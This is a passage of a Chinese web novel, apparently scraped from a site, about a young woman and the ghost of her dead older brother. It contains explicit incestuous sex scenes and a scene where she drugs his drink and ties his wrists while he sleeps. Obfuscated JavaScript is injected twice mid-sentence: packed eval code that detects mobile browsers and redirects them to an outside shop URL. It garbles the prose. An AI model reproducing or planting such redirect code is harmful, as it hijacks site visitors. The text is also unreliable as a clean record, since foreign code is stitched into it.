二楼的家具无论是桌子还是床,甚至连浴缸都很大,完全不像是单人居住常用的家具规模。 这浴缸哪怕是容下他们二人也绰绰有余。 浴室里已经变得有些闷了,水又有些热,谭月珂贪凉,凑到许思哲身上要他抱住自己。 “小珂,如果我不是许思哲,你不怕你后悔和我这样亲密吗?” 谭月珂佯装诧异地啊了一声,湿漉漉的双手从水面抬起,覆在许思哲的两颊上,稍稍用了点力扯了扯。 “那你是谁,居然和哥哥长得一模一样,就连脸上的面皮都撕不下来。”她低声笑了几声。 “小珂,连你自己哥哥都认不出来了?” “哥哥?你是哥哥,哥哥怎么会和妹妹做这样的事呢?” 她说着身子往下沉了沉。 谭月珂先前一闪而过的念头没有错,她现在在这里对饿的感知钝化了很多很多。 但人的欲望往往是持平的,当食欲被消减了之后,其他的欲望为了平衡欲望的总和,就会被放大。 谭月珂的情感上情绪在这种情况下,不断放大,让她对着许思哲时本就大胆的肢体接触变得更为大胆。 她的好奇心又上来了,她想低头看看,看看哥哥和自己不同的 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不过想想,能量会守恒,鬼魂只是没有生理的机制产生热量了,又不代表外界的温度不会影响鬼魂的温度。 她笑道:“还好这样到了冬天也不怕抱着哥哥冷了,把你丢到暖气口边烘烘就好了耶!” 许思哲静默地将她抱得更紧了些,脸颊顺势贴在她的肩颈 ,“嗯,小珂,好喜欢,喜欢。” “我爱你,哥哥只爱你。” 比起谭月珂,许思哲在言语上比她更直白。 “那你是不是永远都不会离开我了。”谭月珂如是问道。 许思哲却没有马上接话,环在她腰肢上的手紧了紧,“嗯,哥哥会一直陪着你的。” “永远,永永远远。” 谭月珂垂下头,指尖抚过许思哲的唇瓣,浴室暖黄又明亮的灯光照在他的面庞上,瞧着倒不像鬼,像个年轻气盛的男人。 她眼睫上下扫过,看着他的嘴唇,谭月珂轻声喃喃:“哥哥。” “嗯,我在……” 许思哲最后的声音被一个吻堵住了,谭月珂的指尖捻起他的下巴,生涩的动作碾过他的唇瓣,她不懂接吻是什么样的,但是当她知道只有自己喜欢才会产生亲吻欲。 就像她喜欢她的公仔,就会抱着公仔亲。就像她小时候也喜欢亲哥哥的脸蛋。 比起谭月珂的生涩,许思哲应承的动作却显得熟稔得多。 许思哲总觉得自己有时候很卑劣,他在小珂看不见的地方,做了无数事情。 包括亲吻她。 谭月珂其实不知道为什么喜欢就要亲吻,但她觉得心情很愉悦,一种难以描述的感觉窜上大脑,她的腿不自觉地夹了夹。 水温热得刚刚好,谭月珂的脸颊带上了一丝丝被热出的红晕,嗓音带上了像浴室水雾那样的黏腻:“哥……有点热。” 浴室的水雾以及不熟悉的接吻让她有些缺氧,甚至开始有些昏沉,虽然还不足以让她晕倒,但她感觉自己的动作变得有些迟缓。 许思哲低头蹭了蹭她的额头。 好烫,想来小珂是真的热了。 他将唇瓣贴在她耳廓,“小珂,我们回床上好吗?” 7.07 谭月珂喜欢她的床。 柔软的、馨香的、令人有安全感的。 现在多了个她喜欢床的原因,床上躺着的还有她那死去两年的哥哥。 从温度与湿度都过高的浴室出来的那一刻,谭月珂清醒了几分,她被小心翼翼地擦干身体,又轻手轻脚地放到床榻上。 谭月珂翻身压坐在许思哲身上,像刚刚在浴缸里坐在他身上那样。 许思哲身上没有穿回寻常的衣裳,但与小珂都各自用浴袍包裹住,他低头,只见谭月珂的指尖从他的耳根滑落,在他的下颔、脖颈再到锁骨上游走,最后落在他的胎记上。 她微微眯起眼,目不转睛地盯着的他的胸口看去。 浴袍将她想看的部位都大方地在她面前暴露。 她的指甲轻轻在淡红色的胎记上落下个月牙印记,谭月珂像是感觉到有趣般低声笑着。 被自己坐在身下的人轻轻吐了口气,谭月珂承认,从任何方面来说,她的哥哥看起来都秀色可餐。 她摁着他的肩在他胸口上用力地咬了一口。 想吃掉他吃掉他吃掉他吃掉他。 谭月珂的大脑好像溢出一种她从未有过的兴奋感,“哥哥……” 她松开唇舌,含含糊糊地叫喃喃着。 “小珂,哥哥在呢。” 许思哲抱住她的腰,将她捞起,让她的身子更贴近自己的躯体。 他感觉自己也热了起来,他身上不仅带上谭月珂的气息,还沾染上她的体温。 鬼魂是没有体温的,魂体的温度常常维持比室温略低一点的温度。 因为自始至终都一直抱着小珂,连带着他身上的温度都比正常时高了些许。 他的掌心贴到谭月珂的脖颈上,只觉得她的脖颈也在发烫,“小珂,冷不冷?” 她的身上也只围着一件浴袍,屋内的温度很凉,比谭月珂平时夏天开空调的温度还要再低一点点。 谭月珂根本没有听清许思哲在说什么,嘴边里含在他胸前,很敷衍地支支吾吾应付了两声。 她现在好像将他当做自己因为发脾气克制情绪时咬的那个大面包,抱着他在啃咬。 其实是因为她实在不太懂亲吻的动作,所以才这样一点一点啃咬着许思哲的身体,咬一口右边胸口,啃一口左边脖颈…… 比起亲吻,她更喜欢用牙齿轻轻地咬一下,啃咬的动作能给她带来比亲吻更高的快.感。 谭月珂大概已经开始意乱情迷了,许思哲完全将她禁锢在自己的怀里,一边任由她的动作。 他抱着她翻了个身,目光在她的脸上扫过,因为热又或许是因为情动,小珂的脸上泛着淡淡的红润,嘴唇因为一直在啃咬他的肌肤,也被弄得分外艳丽。 许思哲低头吻了上去,谭月珂的手臂绕到他的脖颈上,比他更先一步迎了上去。 没有外界的声音,屋子里只有肌肤触碰与亲吻时的吮吸声。 身体的感知在此刻变得格外敏感,谭月珂清晰地感觉到许思哲仍旧有些凉的手在自己身上游走,像是在安抚她,又像是在挑逗.她。 连同他的吻一样,他先是吻到她的唇上,动作轻柔却又热烈。 紧接着吻到她的下颔、颈侧、胸口……再到她的小腹。 直到她的膝盖抵在他下.身的一瞬间,许思哲猛地松开环在她腰间的手臂,宽大的掌心摁在她的腿上。 “小珂,等,等一会儿。” “哥哥。”两人异口同声。 谭月珂眼睛先是冒着星光,好奇与兴奋,“你想做吗?” 她抬起头,眨眨眼,见许思哲的眉头好像轻轻蹙起,她歪着头,问得更直白,“你是要和我做.爱吗?” “小珂,不,不要这样说。”许思哲双手穿过她的双臂抱起她,“小珂,你哪里学的这些。” “哪里学的?” 谭月珂皱着眉头有些懵,“哥哥,我又不是未成年,不能因为你死了两年,就总觉得我的年龄还停留在两年前吧?何况两年前我也成年了。” “你有反应了诶,而且你一直在亲我,再往下亲就不是简单的亲吻了。” □*□ “原来鬼也会有反应的吗?好神奇哦。”谭月珂继续说着,眼睛直勾勾盯着许思哲。 许思哲抿紧唇,他把谭月珂困在这里,目的当然不是为了和她做这些事的。 可今晚一切的走向,都脱离了他的掌控。 他刚刚和谭月珂的亲热,出于他的本心,也是因为他明显感觉到小珂的身体在这样的互动下变得兴奋与愉悦。 他要让小珂开心,所以愿意让她随便玩.弄。 他固然爱谭月珂,但小珂到底爱不爱他,他到现在都不知道。 许思哲一直都知道的是,小珂只是把这种长久的依赖与亲近当成了爱这种感情。 更何况,他和小珂,有没有将来,都不好说。 他卑劣,他恶心,他为了吸引谭月珂的注意,为了和她亲近,故意勾引她,他以为小珂只会像小时候那样好奇地摸摸他抱抱他,可是他忘记了,小珂早就长大了,不是什么都不懂的小女孩,她想要得到的也更多了。 他从刚刚进到浴室做出与她共浴的决定时,就应该猜想到现在的局面。 许思哲忽地感觉胸口有些疼,他死了之后,身体已经感觉不到人类时期常有的疼痛感了,他现在为什么感觉有些疼,是因为觉得自己太恶心了。 是他无法克制自己的反应,让什么都不懂的小珂放纵地走到现在的局面。 “怎么不说话了?”谭月珂有些不悦地晃晃身子,“哥——哥——” 她张开嘴,悠悠地喊了一声。 两人静默了半晌,谁也没有再说话。 许思哲望着他,深色的瞳孔无法聚光,目光直白地落在小珂的身上。 “小珂,你知道你自己在做什么吗?” 谭月珂眨眨眼,“知道呀。” 她勾住许思哲的脖子,脸往他眼前凑近道:“哥哥难道从来没有性幻想吗?没有幻想过和我做这些事情?” “小珂,我是你哥哥。” “哦,我是你妹。” 谭月珂说出口,捂了捂嘴,总觉得自己好像在骂人。 “所以,我们还不是可以做这些事的关系。”许思哲的语气好像带了点颤音,让谭月珂都怔了怔。 她转了转眼珠,忽而笑道:“那你和我表白,我答应你,就可以了呀。” “小珂,你爱我吗?” “我……”谭月珂下意识应了一声,舌头像是打结那样打了一圈,没有说出口,“怎么突然问我这个。” 许思哲敛起脸上的笑意,心底却又觉得谭月珂的这个反应毫不意外。 他的猜想是对的,小珂根本就不懂什么是爱,也根本不知道自己对他的感情到底是不是男女之间的爱意。 一切都是习惯使然。 以及她如今欲望被放大的缘故,加之压抑两年的情绪,才让她现在处于一种不考虑后果的状态。 许思哲抬手摸了摸谭月珂的头,“小珂,我先收拾换洗衣物,拿新的衣服给你穿好。” 他站起身,在谭月珂还没来得及反应过来的时候就背对着她走出房间,像落荒而逃。 “啊?”谭月珂愣住,撇着嘴看他。 “许思哲!”她望着房间的小门大喊,没有得到任何回应。 她都把裤子脱了,许思哲和她玩这个? 谭月珂从小到大都是想要什么就能得到的性格。 虽然在朋友面前总是大方又恬静的性格,但面对家人时,尤其是面对哥哥时,她就会多了一点不可理喻的骄纵,她掐了掐自己的掌心,有些生气地锤了锤软乎乎的大枕头。 她脱下浴袍光溜溜地钻到被窝里。 闻到被子温和的香味时,谭月珂很快渐渐平静下来,耳边隐隐约约传来浴室的水声。 也许是许思哲重新沐浴,也许是他在帮她洗内衣。 许思哲的反应太古怪了,他在害怕什么。 一种无法说出口的害怕。 他的感情、他的反应以及他的内心,不可能不想和她做这些最亲密的事。除非他有说不出的理由。 鬼魂的三魂六魄不全,说话做事会直白。所以许思哲不会是因为很浅显的理由中断了刚刚还分外亲密的动作。 这一切都太奇怪了。 谭月珂的理智重新占据上风,她想起来, 自己甚至还不知道自己现在到底在什么地方,也不知道死去的哥哥鬼魂为什么在此时变成了她能触碰到的实体。 事到如今,许思哲还有瞒着她的秘密…… 她不自觉地将整个脸都埋在被窝里,身体那种熟悉的不适感突然袭来。 她喝了两口温水,又缩回被窝里,许思哲此刻还在浴室迟迟没有回到房间。 谭月珂感觉有些冷,明明抱着体温偏低的许思哲时,她都没有感觉很冷。 令人不适的反胃感攀升,她觉得她的食管好像都是咽不下吐不出的泡泡,在她的身体里翻涌。 寒意不知是从脊椎还是从腹部袭来,像电流一样游到四肢末端。 暑假她收拾行李收拾得匆忙,以至于她并没有把平时睡觉抱的娃娃塞到行李箱里,她只好蜷起身体抱住被子的另外一端。 “小珂。”许思哲完全没有脚步声,悄然回到卧房。 见她一动不动,他以为她睡着了,动作更轻了些。 许思哲手里还拿着谭月珂的睡衣,他将睡衣放到床边,双手撑在床上弯下腰,却发现小珂的眼睛睁得圆碌碌的。 “小珂,还没睡吗?” 见她不回应自己,许思哲蹲坐在床边,“小珂,我和你道歉,你要是真的想,让哥哥先做好准备,再和你做好吗,我不想我们第一次是出于没有思考的冲动。过两天,你想要哥哥和你玩怎么玩都可以。” 他知道小珂现在肯定不开心,她也是有欲望的人,她想要他,他完全可以将自己的身体彻底献给她。 只是,他确实还有别的顾虑…… 谭月珂难受地哼哼了两声,根本不想听许思哲在说什么,她藏在被子下的两只手扯了扯被子,将被子裹得更紧了些。 许思哲马上就意识到了不对,“小珂,怎么了,是不是又像之前那样不舒服。” 他连人带被子将谭月珂抱在自己的怀中,“小珂,对不起,哥哥不能和你离得太远,你和我贴近些,就不会难受了。这里阴气太重了你受不住。” 谭月珂难受得已经没劲了,任由许思哲帮她穿上了睡衣,又被他抱着躺到床上,“小珂,还在生哥哥气?” “哼。”谭月珂什么也没说,像是从鼻子里喷了一口气一样。 许思哲知道她这样已经没有在气恼他了,但心底多少有些不开心。 靠近许思哲的一瞬间,那种诡异的不适感确实瞬间消散。 谭月珂的脸颊下意识朝着许思哲的胸口蹭了蹭。 “睡吧睡吧,这两天很快就过去了。”许思哲轻声道。 房间的灯关上,再度陷入无尽的黑暗中。 这样的黑暗与平时夜晚入睡的黑暗不同,平时窗外的月光与灯光总归还是能照及房间,而现在一切都是黑洞洞的,睁开眼,什么也看不见。 “好黑啊。”谭月珂小声道。 “要开个小夜灯吗,小珂?” “嗯,好黑,不喜欢。” 屋内重新有了一点隐隐约约的亮光,谭月珂睁眼看了看,又阖上双眼,膝盖往他身上撞了撞,“我渴了。” “我帮你倒水。”许思哲说罢正要起身。 “你那边床头柜有个保温杯,我装了水在里面,拿来给我。” 他顺从地拿来,试了水温,喝了两口。“刚好。” 心里却有些落寞,许思哲知道谭月珂现在肯定还在不悦,她连一声哥哥也不愿意叫了。 谭月珂看着他喉结滚动,接过杯子,自己喝了几口,然后背对他躺下。“睡了。” 许思哲轻轻地抱住她,像小时候一起睡觉那样,只是静默地抱着她,感受她呼气的起伏,感受她的气味她的体温,感受她的存在。 他眼角的泪隐匿在这无声的黑夜中。 咚咚咚,周围安静得只能听到自己的心跳声,谭月珂的双眼在昏暗中睁开,小夜灯只开了最低档的亮度,几乎相当于月光照入房间的亮度。 她屏住呼吸,伸手将许思哲绕在自己腰间的手臂拿开,紧接着坐起身。 她歪着头看向睡得正沉的许思哲,又看了眼床头柜上的水杯,她在水杯里放了安眠药。 谭月珂在黑夜静默地笑着,她从衣柜的抽屉里拿出了几根棉绳,是之前装饰房间时剩余的材料。 她光着脚走回床上,将许思哲的手捆住,用她曾经看过的野外求生打死结的方式,在他的手腕上打结,死死地捆住他的手腕。 今晚,她要不然得到许思哲的身体,要不然就要从他口中得到他隐瞒的真相。 她可以接受所有人隐瞒她欺骗她,但是她不能接受哥哥这样对她。 谭月珂坐在他的身上,将他的衣服解开,他的胸口上有好几个被她刚刚留下的咬痕,她的指尖戳了戳,低声轻笑了几声。 她对着之前的咬痕又咬了下去,结结实实地在他身上咬了几口,也算是泄愤了。 谭月珂心情颇好,在想着接下来要怎么样,在他的腹肌上坐着玩?还是就这样压坐在他的身上等他醒来? 比起之前的情迷意乱,谭月珂现在更多的是恶作剧的兴奋,她想自己实在是被许思哲给惯坏了。 她有时候不知道是该恨天还是恨地。她的一生好像一直被幸福与痛苦穿插,幸福在她拥有那么多无条件爱她的人,痛苦在这些爱都不能长久,不是因为人心会变,而是因为人随时都可能死去。 她现在的情绪很复杂,复杂到她只想用最简单粗暴的行为去平复她的情绪。 可她的动作其实很笨拙,谭月珂向来只擅长那种出于本能的亲近行为,现在让她一板一眼地去做什么亲昵的行为,对于她反倒是变成了困难。 还没折腾多久她就累了,想起和哥哥一起沐浴时的画面,她掐了掐自己的掌心,往他身下看去。 许思哲身上穿的是一件丝绸质地的睡衣,想要脱掉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许思哲双手环在她腰间,又将唇瓣靠近她的唇,动作又被谭月珂打断了,她双臂用力挣脱了。 “小珂,怎么了?”许思哲显然有些怔愣,“小珂,你是怕哥哥吗,你不喜欢我们就不继续下去……” 谭月珂露出一个狡黠的笑,“哥哥这话应该是我问你的吧,你想做什么,想亲我?想抱我?还是想和我做.爱呢?” “小珂,我只是想让你开心。” 她看着许思哲那副慌乱的神情,想起从前哥哥还活着的时候,无论做什么事都游刃有余的模样,就觉得有些有趣。她哥哥总是说他的小珂最可爱了。 现在她觉得哥哥其实也很可爱嘛。 “那你刚刚为什么拒绝我呢,是你心里有什么顾虑?还是单纯不想和我做呢。” “不,不是的,小珂,我想。”许思哲膝行到她身前,拉近两个人的距离。 “是,我在害怕,害怕你其实不爱我,只不过今晚经历的一切,把你的情绪放大了,所以你才想和我做这些亲密的事情。我在害怕事后你会后悔,我只是一个鬼魂,我不能像生前那样了,小珂,我们甚至连法律上的婚姻关系都无法实现,如果我以后灰飞烟灭或者你又见不到我了,又该怎么办,我害怕顾虑的事情有很多……” 谭月珂没有更多的言语,勾住许思哲的脖子,吻了上去。 她的哥哥,好像总是在提醒她,他已经死了。 可是死后的灵魂还是存在的话,那死着和活着其实也没什么区别。 谭月珂的生死观比起很多人来说更乐观,毕竟她从小到大见到太多亲人在自己面前离去,她也知道鬼是真实存在的,那死去和活着,又有什么区别。 只要两个人还能在一起,能回到从前相依为命的生活,她并不在意现在的许思哲只是一只鬼。 不熟悉的吻让谭月珂感觉空气都变得稀薄,呼吸也渐渐困难了些许。 许思哲比她更熟悉她的身体,他知道她身上哪里有小痣,哪里有受伤后留下的疤痕,知道她哪处肌肤更敏感,知道她喜欢被亲吻的部位在哪,更知道要怎么让她直截了当地感觉到身体上的愉悦。 □*□ “哥,哥哥……”谭月珂伸手摁住他的额头,却躲不开。 “小珂,别怕。”许思哲像是亲吻像是在舔舐,又像是在吮吸。 她抿紧唇,比她想象中还要舒服…… 许思哲熟稔又生疏,熟稔是因为他有足够的理论知识。 他生前就有过和妹妹一辈子都要在一起的打算,哪怕还未成为可以做这些事的情侣,但是他对这些事也有过了解,甚至有意识地去学习。 生疏是因为这也是他的第一次,他有紧张与不安,害怕没法让小珂感到足够的愉悦。 “哥哥,还要……”她依旧直白。 许思哲抬起头,明明都是躺在床上,他却像是在仰望着她。 他眼角不知何时溢出泪滴,目光里都是小珂的兴奋和欢愉。 □*□ 许思哲知道,其实自己说不说这句话都没关系,他的小珂是不会让自己吃苦的,若是有哪里不舒服一定会闹腾。 他觉得小珂再骄纵一点也没关系,他才不希望小珂是那种会为了别人牺牲自己感受的性格。 谭月珂胡乱地应着,她将身子贴近他。 和许思哲做的这些事,不是不计后果的冲动。她感觉到了熟悉的温柔与关切,还有她说不完的爱意。 “小珂,小珂,哥哥会永远爱你的。”许思哲迎上去,一边问着她,一边将泪水也沾染在她的身上。 “凉,有点凉。” 谭月珂皱起眉,她明明感觉身上很热,也感觉到许思哲的体温没那么凉了,为什么现在的感觉是凉的。 凉意甚至让她一时忘记了初时的痛感。 “小珂,很不舒服吗?” 许思哲怔住,想要离身,腰身却被她的小腿勾紧,又贴了回去。 “没事,哥哥,继续,喜,喜欢……” 谭月珂将脸埋在他的肩窝,盛夏的凉意反倒是让人舒服的。 “很快就会热起来的。”许思哲轻吻着她,“小珂,喜欢这样吗?” “喜欢。”谭月珂咬着他的肩,比她想象中要舒爽很多很多。 “小珂,我也喜欢,喜欢小珂,喜欢你。” 无尽的黑暗像是将时间也凝结了,房间只余下肌肤上濡湿的薄汗以及泪水的湿气。 “唔……”谭月珂下意识地往后退,却退无可退。 □*□ □*□ 身体肌肤相贴,她下意识抬起手紧紧抓着许思哲的手腕,“我想上厕所,好奇怪,好奇怪的感觉。” 许思哲怔愣半秒,忽地笑了,他垂下头,鼻尖蹭了蹭她的鼻梁,“小珂别怕,很正常的。” 这种濒临极限的感觉她还没尝试过,这让谭月珂有些茫然无措,却又有几分形容不出来的兴奋。 “小珂别躲,没事的,弄到哥哥身上就好。” 8.08 干冷的屋内,此刻被潮湿浸润,谭月珂甚至感觉现在比晚上在浴室时候还要潮湿。 薄汗将发丝细碎地粘黏在脸上,许思哲伸手拨开她额前的碎发。 “小珂好厉害。” 他的指尖抚过她的眼睫,“小珂最棒了……” 许思哲的声音像是有引力那般,将谭月珂为数不多清醒的意识都一概吸走。 她侧头,往许思哲的手腕上用力咬了一口,齿尖嵌入他的肌肤,就这样一点一点感受到他逐渐攀升的体温以及肌肤的柔软。 “湿了,弄湿了。”谭月珂皱着眉,看见暖黄的光映照在许思哲壁垒分明的腹上,晶莹剔透。 “没关系的。”许思哲吻住她轻颤的眼睫,“好喜欢,喜欢小珂,小珂也多喜欢哥哥一点好不好?” 谭月珂感觉脸上热得发胀,身子是热的,却又时时刻刻触碰到许思哲那微微发凉的身体。 羞赧不可能一点都没有,总归是与最亲密之人才能做的事,谭月珂从前也只是看过听过,实践起来又是不一样的风味。 但现在她觉得兴奋与欢愉早就越过那点未经人事的羞赧。 她自己也知道,哥哥是这个世界上最了解她的人,包括她的身体。 她能感觉到许思哲是在一步步试探,并不游刃有余。 但是他太了解她了,只是看着她脸上的表情,就知道哪样做她更喜欢,便一个劲地做那些她觉得舒爽愉悦的动作。 谭月珂向来算不上重欲的人,毕竟从小到大,只要她想要得到就都能得到。 她平时对于性.欲方面的需求也几乎没有,顶多是看看漫画和小说消遣。以至于她从未想过自己会从中获得身体实际体验到的快.感。 更想不到现在自己会因为这种从前从未感受过的欢愉,而向许思哲不断索取。 她甚至顾不上许思哲是什么感受,她只想要哥哥服务好她。 谭月珂朝着许思哲伸了伸手,声音含糊:“抱抱。” 许思哲俯下身抱住她,“好,抱抱,小珂,哥哥一直都在呢。” “这样会难受吗小珂?”许思哲虽然这样问,但是他完全看得出来小珂在享受,在喜欢。 他心中的顾虑还给不安感大幅度地消减了,只要让小珂感到舒服和开心,让他做什么都可以。 陪她玩本来就是他作为哥哥的责任…… 谭月珂摇摇头,只是一直是这个姿势她有些疲惫,她正想说些什么时,突然猛地咳了起来。 喉咙的干涩让她疼得直咳,她想要通过吞咽缓解喉咙的干涸,反倒是更难受了。 她已经分不清时间了,不知道现在是几点,更不知道自己和许思哲做了多久。 刚刚睡前她也并没有喝下被自己下药的水,所以实际上她有一段时间没有喝水了。 许思哲立马停下动作,将她从床榻上捞起来,两人相对抱。 “小珂,小心,别急。”他轻轻地拍打她的背部。 谭月珂窝在他的肩窝里咳了好半天才缓过来。 “是不是渴了要喝水?” 她点点头,目光瞥了一眼床头柜上的保温杯。 谭月珂平时会在卧房的床头柜放一个装满水的保温杯,但今天床头柜的水被她下了药不能喝。 现在只能中断去小厨房喝饮水壶保着温的热水。 “好,哥哥去给你倒水。” 许思哲动作顿了顿,“小珂,我抱着你一起去倒水好不好?” “嗯?”谭月珂怔愣一瞬,还没来得及回应,许思哲就将她抱起。 身子一轻,整个人被抱起,谭月珂马上意识到许思哲话里深层的意思。 他,要用现在这个姿势,抱着她走去小厨房喝水,再抱着她回到床上。 谭月珂双手下意识攀在他的肩上,紧紧地抓住他。 但是哥哥抱得实在是太紧了太有安全感了,她又渐渐放松下来。 从前她也不是没有像现在这样用熊抱的姿势挂在许思哲的身上,但从未像现在这样…… 他们的身体还紧紧相贴着,身躯相连。 见谭月珂放松下来,许思哲才抱着她走向厨房,只是他才走了两步,谭月珂又绷紧身子,这样的感觉比先前那些动作都不一样。 “哥,慢点走。” 她咬着许思哲的耳垂,声音又干又哑。 “不行哦,小珂口渴了,要快点倒水给你喝。”许思哲难得用这样有些坏心眼的语气和她说话。 感觉到她身体微妙的变化,许思哲轻声笑着,“小珂是喜欢这样的,对吧?” 谭月珂撇开脑袋,没有像从前那样直白地说喜欢还是不喜欢。 走到厨房,许思哲一手抱着她,一手空出倒了杯水,“小珂,先喝一点水……” 他的话还没说完,手上的水杯就被谭月珂夺走,她渴极了,对着杯口猛地喝了好几口,一瞬间便将许思哲倒出来的所有水都喝了下去,“还要。” “慢点喝小珂,哥哥又不和你抢,小心呛到。” 许思哲低声道,但还是顺从地又倒满了一杯,“这杯拿回房间。” “嗯……”谭月珂应了一声,“哥哥我感觉我要掉下去了。” “不会掉下去的。” 许思哲掂了掂她的身子,“别怕,你那么轻,哥哥怎么会抱不住,要多吃一点长身体,怎么比大一那会还轻了。” 许思哲说着只觉得眼角有些湿润,从前有他看着谭月珂吃饭,给她做她喜欢吃的所有食物,他意外身亡后,谭月珂有很长一段时间食欲很低,瘦了很多,直到现在还没涨回来。 明明小时候饭点还没到就会顶着肚子喊:“哥哥哥哥哥我好饿”。 现在怎么就瘦了。 都怪他,都是因为他,小珂这两年才会那么难过……许思哲的怨气凝结,肉眼看不到的黑雾散开将两人团在一起。 谭月珂对此毫无察觉,只觉得他身上有些凉,贴在一起好舒服。 她将脸窝在许思哲的肩上,一声不吭。 “哥哥,快点回房间。” “快?刚刚小珂不是让哥哥慢点吗,怎么现在又要快点了。” 谭月珂顿时有些炸毛,她算是看出来了,她哥才不是什么温柔良善哥哥,明明是坏哥哥! 她用力晃着双腿。 “躺在床上舒服一点,一直这样抱着,唔……抱着弄,好没有安全感。” 她一边说,许思哲还一边抱着她走,弄得她说话也断断续续的。 “快点!”谭月珂往他脸上咬了一大口,“不喜欢你了!” “好好好,快点,我错了。”许思哲认错很快。 他用鼻尖在她额上轻蹭了蹭,又轻轻地道:“哥哥错了。” 他明显感觉到这个姿.势,能更容易觸碰到她的敏.感點。 但确实没有躺在床上那般舒适,想来她是喜欢,但并不算很喜欢。 谭月珂见许思哲说话连气都不带喘的,她合理地怀疑鬼魂不用吃饭所以不会消耗热量,所以也不会累。 她从前可是听说过这个动作很耗体力,没点力气的男人都做不到…… 当然,谭月珂也还没累,反正又不需要她用力,她只是享受的那一方。 反正这世上,只有累死的牛没有耕坏的地。 她心安理得地享受许思哲对她的照顾与服侍。 回到床上,谭月珂先发制人将许思哲推倒翻身坐在他的身上,身子一沉…… 她却听到许思哲闷哼一声,好像是感受到疼痛时才会发出的声响。 紧接着是他的喘.息声。 “嗯?”她的嗓音有些慢吞吞黏糊糊的,“哥哥?” “小珂,轻点。” “啊?什,什么?” 她话还未说完,只感觉许思哲一边用大腿将她推倒在自己身前,一边伸手环住她的腰身禁锢住她。 “小珂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015964|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,疼,嘶……”许思哲话是这般说,但脸上又带着明显的笑意。 “哪疼?你身上有伤口吗?”谭月珂有些懵懵地看着他。 “小珂,是你弄疼我了。” 他顿了顿,掌心贴在她光洁的背上轻轻地摩挲着,“夹得我疼。” 谭月珂又往他脸上咬了一口,第一反应是觉得哥哥不害臊! 她暗自使了劲,闷声笑着:“那你就受着。” “嗯,只要是小珂对我做的事,哥哥都是喜欢的。” 许思哲轻轻地问闻着她的额头。 “小珂,请你一定要永远都记得哥哥,哥哥会永远爱你的。” 谭月珂怔愣住,总觉得许思哲这句话有些莫名其妙,只是想到他先前抱着她又是落泪又是一遍遍说爱她,她又觉得或许只是许思哲的口癖。 毕竟她的哥哥,从小到大都很直白地承认他最爱的人就是妹妹。 “嗯,我也喜欢哥哥。” “小珂,有没有不舒服的地方,还想要吗?” “要,还要,要哥哥抱着我。” “好,小珂想要玩多久,哥哥都陪你。” 许思哲贴在她的唇边,连带着将微凉的泪都沾染在她的脸上。 …… 谭月珂很久没有睡到醒来后会感觉浑浑噩噩的觉了。 她恍惚地睁开眼,看了眼手机的时间,中午十二点半……怪不得头晕目眩的,她已经睡到分不清时间了。 谭月珂看了一眼消息栏依旧显示无信号,所以现在她还被困在这里吗? 她将手机甩到床的另一边,翻了个身,将小腿往前一甩搭上去,腿下压在重新换过的软乎乎的空调被上。 昨晚她几乎是做到困得受不了,做到睡着…… 后面收尾的事她都记不得了,只记得到了后面,她已经感觉不到许思哲身上比她凉的体温,甚至在他掌心握住自己手臂时,他掌心的温度甚至比她的手臂还要热。 再往后,便是许思哲抱着她重新洗浴了一遍,把才换过没多久的床单又换了一套。 谭月珂揉了揉眼睛,才发现床上只有她一个人。 她坐起身看着空空荡荡的房间,有些狐疑地喊了一声:“哥,哥哥?” 却没有得到任何回应,谭月珂不知道自己是不是因为睡太久了又刚刚才睡醒,脑子还不太清醒,她有些茫然。 脑子里甚至在荒诞地想,昨晚是不是她做的一个梦,许思哲是不是压根就不存在…… 谭月珂低头看着身上只有洗涤剂馨香的被子,确实是昨晚许思哲新换的被子。 “哥哥!”她又喊了一声。 不远处突然传出声响,紧接着脚步声传来,许思哲快步走进房间,还一边解开身前的围裙。 “小珂,醒了?” “你去哪了?!” “在厨房,冰箱里找了点食材给你做点吃的。”许思哲顺了顺她睡得杂乱的头发,“不知道你会不会饿。” 谭月珂睡得有些晕乎,连带多了点起床气。 她有些生气,因为她想一觉睡醒就能抱到哥哥,而不是一睁眼找不到他人影。 啊,不对,是找不到他鬼影。 她气鼓鼓地扯着许思哲的衣领将他整个人都往前带。 “小珂?” 许思哲话音落下时,纽扣已经被扯开一枚,谭月珂一声不吭地往他胸口咬上去。 许思哲抬手摸了摸她的后发,“小珂,怎么了,哥哥先抱你去洗漱,好不好?” “我以为你不见了。”她嘟囔道。 “怎么会不见呢,哥哥不是就在这吗?”许思哲笑着抱住她。 “我死了都在你身边,怎么会离开你。” 他这句话明显取悦到了谭月珂,她决定不生气了,“你本来就应该要一直陪着我。” “小珂说得对,哥哥生是你的人,死也是你的鬼,你就算想甩掉哥哥,哥哥也会缠着你的。” 9.09 谭月珂听着许思哲说的这些话,没有再回复他,只是静默地将脸埋在他胸前,鼻尖轻轻剐蹭,正巧搁在胸口的沟壑之间,软弹的肌肉与她更柔软的脸颊相贴。 许思哲很是顺从地将她抱在自己怀里,掌心贴在她的后脑,身子微微向前倾。 他在主动迎接小珂今日醒来的第一个亲昵动作。 “你什么时候醒的?”谭月珂闷声问道。 “没醒多久,大概半个小时前。”他如实答道。 不过这是许思哲起床的时间,实际上他更早就醒了过来,只不过不想和小珂分开,就一直抱着她看,看了很久很久,看着她比从前更深的黑眼圈,看她脸上这两年才长出来的新痣,看她唇角因为亲吻的激烈留下的痕迹。 “刚刚喊了你好几声都没听见。” 谭月珂语气像是在抱怨他没有第一反应回应自己。 “在厨房做饭,可能有些吵没听到,怪哥哥。” 